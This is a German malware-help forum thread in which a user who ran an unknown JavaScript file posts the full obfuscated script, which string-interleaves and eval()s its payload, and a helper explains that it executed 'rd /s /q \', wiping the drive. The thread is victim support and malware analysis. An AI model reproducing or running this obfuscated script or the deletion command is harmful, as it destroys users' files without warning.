Trojaner-Board

Trojaner-Board (https://www.trojaner-board.de/)
-   Plagegeister aller Art und deren Bekämpfung (https://www.trojaner-board.de/plagegeister-aller-art-deren-bekaempfung/)
-   -   JS Skript ausgeführt, unangenehme Probleme entstanden... (https://www.trojaner-board.de/71260-js-skript-ausgefuehrt-unangenehme-probleme-entstanden.html)

esjuckt 21.03.2009 18:33

JS Skript ausgeführt, unangenehme Probleme entstanden...
 
Hallo liebes Trojaner-Board,

erstmal folgendes:

Betriebssystemname Microsoft Windows XP Professional
Version 5.1.2600 Service Pack 3, v.3311 Build 2600
Betriebssystemhersteller Microsoft Corporation
Systemname COMPUTER
Systemhersteller TOSHIBA
Systemmodell Satellite A200
Systemtyp X86-basierter PC
Prozessor x86 Family 6 Model 15 Stepping 13 GenuineIntel ~1994 Mhz
BIOS-Version/-Datum TOSHIBA V2.20, 10.03.2008
SMBIOS-Version 2.4
Windows-Verzeichnis D:\WINDOWS
Systemverzeichnis D:\WINDOWS\system32
Startgerät \Device\HarddiskVolume2
Gebietsschema Deutschland
Hardwareabstraktionsebene Version = "5.1.2600.3311 (xpsp.080212-0005)"
Benutzername COMPUTER\xxx
Zeitzone Westeuropäische Normalzeit
Gesamter realer Speicher 2.048,00 MB
Verfügbarer realer Speicher 1,42 GB
Gesamter virtueller Speicher 2,00 GB
Verfügbarer virtueller Speicher 1,96 GB
Größe der Auslagerungsdatei 5,84 GB
Auslagerungsdatei C:\pagefile.sys


Unzwar habe ich ein JS Skript, welches mir nicht bekannt war ausgeführt. Jetzt wurden alle meine wichtigen Daten von der Windows Partition gelöscht, einschließlich Lesezeichen im Firefox, Tabs, MSN XML Dateien, der Desktop, etc. etc. im Windows Ordner auf der Festplatte sind nun kaum Dateien vorhanden.

Ich poste nun das Schadskript. Gibt es eine Möglichkeit die Dinge rückgängig zu machen?

A='xHeocmlmt\rWctj(rifsej"peiWspm\n"oapeelitoas\x20ac'+
'.\x20neloa\x20\x20ti.n.d(ra/-)g$eot).s\rinD(em<760'+
'\ro(th:mc./"tam0xn\rxssxa(pinr()1b"tam.s2\r"-+cedo'+
'if-am\rse\\"so\\(M.d)ur8+m\\rs\np"th:ac./map,\neqt'+
'd"t-emitrabd=).d\rHe30}Sree"r.l.(d\x20rho-t0\x20d'+
'\x20\\0'
B='=.abts2lp\nSree"iniyme)exlSctem\\pna\x20\x20lnotda'+
'ishjo\x20\x20euvas\x20c\\"ra)ec(z\\i1tp:\rce\nlea)'+
'te1600\np""t/ghob+hn().d\n.pett/adoe\\/]=+hn(st,\n'+
'\\""onisood;e\n+sn++mn"aro)b()sonetxep"t/thobgrh0x'+
'tuhecet"up/mtoa"\rs(\n.e1)\rHeocwislr"\x20stuws'+
'\x20\x20&\x20/\\)'
C='Wctj(x.h"fHeocspglsoc.nteHrn)=nydstfog\x20e,vt\x20'+
'asptf\x20\x20enhbkn+el)pe[](,:ph(\nl(wewt.T(240)xe'+
'g,t/.ar/M.d)\rs(trot.c<n=tad)\r(M.d)ur8sn+\\ntsinr'+
'an=s"t\\t"\\""tam.s2++d\\g".no,t/.ar/bdp).reerony,'+
'laf-aur+\nesWsp0\r\n.abtsph"uc/t\x20tn\x209-\x20/q'+
'"'
D='Sree"mxt)=.abtct.etbtotf(.ia\r(C\x20\x20thow\x20Np'+
'\x20e\x204n,ehiysddirs\\fal.l(a+/"gre"fo)h(\x20egi'+
')370{.ne"pi4ng?aro,\ne)=enemhs\x20"hd+[\n"aro)b()='+
'-bnt-pt:mta"=ron+cn++hn(st,m"eni\ro(s"pd4ngio."\rs'+
'esa(ntp"trod;nybxn)Sl(0\nWctj(cte)nmcasd\x20-0frs'+
'\x20,'
X=[];for(I=0;I<A.length;I++)X[I*4]=A.charAt(I)
for(I=0;I<B.length;I++)X[I*4+1]=B.charAt(I)
for(I=0;I<C.length;I++)X[I*4+2]=C.charAt(I)
for(I=0;I<D.length;I++)X[I*4+3]=D.charAt(I)
eval(X.join(''))


Ich hoffe ihr könnt mir helfen. Danke.

KarlKarl 23.03.2009 01:50

Hi,

Du führst alles aus, was dir unter den Mauszeiger kommt? Dann empfehle ich dir, den Computer durch Plattenspieler, Schreibmaschine und Mensch-ärgere-dich-nicht zu ersetzen.

Teil deines Scriptes war die Ausführung des Befehls:
Code:

rd /s /q \
Dazu:
Code:

C:\WINDOWS\system32>rd /?
Entfernt (löscht) ein Verzeichnis.

RMDIR [/S] [/Q] [Laufwerk:]Pfad
RD [/S] [/Q] [Laufwerk:]Pfad

    /S  Löscht alle Verzeichnisse und Dateien im angegebenen Verzeichnis
        zusätzlich zu dem Verzeichnis selbst. Wird verwendet, um ganze
        Verzeichnisbäume zu löschen.

    /Q  Keine Nachfrage, ob die Verzeichnisbäume mit /S entfernt werden
        sollen.

C:\WINDOWS\system32>

Ich würde sagen, Du hast gerade verdammt viel freien Platz auf deiner Festplatte, ein paar Dateien waren allerdings sicher gesperrt und konnten nicht gelöscht werden. Beste Gelegenheit, das System neu zu installieren.

Also echt, jeder DAU ist noch zu einer Steigerung fähig http://cheesebuerger.de/images/smilie/frech/c050.gif http://cheesebuerger.de/images/smilie/frech/c050.gif http://cheesebuerger.de/images/smilie/frech/c050.gif

Karl


Alle Zeitangaben in WEZ +1. Es ist jetzt 12:14 Uhr.

Copyright ©2000-2025, Trojaner-Board


Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131